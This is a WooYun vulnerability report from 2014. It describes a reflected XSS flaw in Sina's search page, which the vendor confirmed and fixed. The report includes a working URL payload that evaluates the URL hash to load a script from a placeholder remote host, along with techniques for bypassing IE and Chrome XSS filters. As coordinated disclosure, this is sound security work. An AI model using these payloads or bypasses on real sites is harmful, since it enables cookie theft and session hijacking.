漏洞概要
关注数(24)
关注此漏洞
漏洞标题:新浪反射型跨站(附绕过浏览器xss filter方式)
相关厂商:新浪
漏洞作者: 香草
提交时间:2014-05-28 16:57
修复时间:2014-07-12 16:58
公开时间:2014-07-12 16:58
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-05-28: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向核心白帽子及相关领域专家公开
2014-06-17: 细节向普通白帽子公开
2014-06-27: 细节向实习白帽子公开
2014-07-12: 细节向公众公开
简要描述:
前几天新浪广告界面那个跨站,在第三次的时候,总算进行了正确的修复。于是我只好去其他地方看看了。很不幸这次又侧漏了,这次可获取cookie,可欺骗,虽然新浪的cookie有httponly保护,不过这次重点是可以过IE和chrome系列浏览器的方法。
详细说明:
新浪的搜索实际上过滤还是挺严格的,在搜索框输入,xxx'"<>!@#$%^&*()_;\,
发现在正确的位置的进行了正确的编码和过滤。'"<>\以及其他特殊符号都进行了相应的编码和过滤。这也是我想到的,这些简单的符号肯定是会被过滤的。我发现页面中存在这样的代码:
于是一个一个对上面的参数进行了测试,发现对value里面的值对特殊字符都进行了编码处理。但是我不放过任何一个参数,继续寻找可能存在的参数,在这儿我发现一个奇怪的现象,就是每次我添加一个参数都会在input里面添加一条记录,而且在界面上会多次出现这个参数。
当我访问:http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg=bbb
直觉告诉我,这儿肯定存在问题。
既然对value都进行了严格的过滤,那对name呢。于是我再次测试
http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg"'ggg=bbb
果然侧漏了:
控制台报错了,我最喜欢了,还有js环境的:
接下来测试发现name参数过滤了点号和[],其他的都没过滤,值就过滤的惨不忍睹了,特殊符号都过滤了包括()[]{}"'<>\。很快就想到一个加载远程js的方法:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22;with(location)with(hash)eval(substring(1))//=#with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
用with省略了点号的使用,但是这个代码只能在火狐和chrome系列浏览器上运行,不是很完美。在IE上不能有成对的括号出现而且过滤了location,document等关键字,怎么办呢?
我想到了expression,expression呢,因为我发现
就是说会强制浏览器以IE7文档模式解析,当然就都支持expression了。访问:
加载远程js:
这个代码在IE9,IE10下面是可以运行的,IE8貌似不支持content="IE=EmulateIE7"。
但是这样的虽然可以过IE各个版本浏览器,但是又不能同时支持chrome系列浏览器了,有没有既可以过IE又可以过chrome的呢?为了完美,我们继续:
把空格转换成了+号,而我们又不能用 " ,于是我们用%0a也就是换行符来分割属性。
解释:a其实就是a的html编码我们在url编码后就是%26%2397。()就是()对他进行html编码是为了绕过 IE xss filter对括号的检查。
最终实现的加载远程js,可兼容IE,chrome系列浏览器:
漏洞证明:
弹个cookie:
加载JS:
修复方案:
版权声明:转载请注明来源 香草@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-05-28 18:43
厂商回复:
感谢关注新浪安全,分析太好,
最新状态:
暂无